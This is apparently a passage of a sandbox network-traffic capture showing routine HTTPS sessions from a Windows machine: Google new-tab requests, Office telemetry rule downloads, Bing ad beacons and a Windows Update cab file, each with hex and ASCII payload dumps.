2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c Data Ascii: 8000"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#html\",{createHTML:b,
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 Data Ascii: )};_.ge\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49752	142.250.181.68	443	6764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 23:06:30 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 23:06:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 23:06:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 23:06:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:29 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230630Z-178bfbc474bpscmfhC1NYCfc2c00000003m000000000pxum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:29 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230630Z-174c587ffdfgcs66hC1TEB69cs00000003d000000000gdvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49758	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:29 UTC	413	OUT	GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=aa03249065a04496a84771c00d48fd12&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=3B0A5EF0950262B829AE4BB0940563E0; MR=0
2024-11-23 23:06:30 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=JBj1xQgoeWHFDYsal6YVby4fR2vku1Y4xKJBhhdbebY; domain=.bing.com; expires=Thu, 18-Dec-2025 23:06:30 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7D3CBC6354264B01B47C2A977F7F2CD3 Ref B: EWR30EDGE0815 Ref C: 2024-11-23T23:06:30Z Date: Sat, 23 Nov 2024 23:06:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:30 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230630Z-174c587ffdf4zw2thC1TEBu34000000003mg00000000hdbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:30 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230630Z-174c587ffdfn4nhwhC1TEB2nbc00000003mg00000000hzmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:30 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:30 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230630Z-178bfbc474bpnd5vhC1NYC4vr4000000050g00000000mnad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:30 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:31 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 5931471e-001e-0046-7a23-3dda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230632Z-178bfbc474btrnf9hC1NYCb80g00000005ag000000005hk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49765	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:32 UTC	474	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa03249065a04496a84771c00d48fd12&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=3B0A5EF0950262B829AE4BB0940563E0; MSPTC=JBj1xQgoeWHFDYsal6YVby4fR2vku1Y4xKJBhhdbebY; MR=0
2024-11-23 23:06:32 UTC	601	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FBA05B44A48A405CB01AA064AA5D0987 Ref B: EWR311000103049 Ref C: 2024-11-23T23:06:32Z Date: Sat, 23 Nov 2024 23:06:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:32 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230632Z-174c587ffdfmrvb9hC1TEBtn3800000003n0000000009fh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49764	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:32 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Zx4HCXWKuWNY2K3&MD=W3t8oYWZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 23:06:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 989a3fe9-0a23-47d7-8ea7-063da4b3759b MS-RequestId: d9f129cb-903e-4f49-ae79-962a48697c72 MS-CV: F0bYTrtjIkGmW/jL.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 23:06:31 GMT Connection: close Content-Length: 24490
2024-11-23 23:06:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 23:06:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 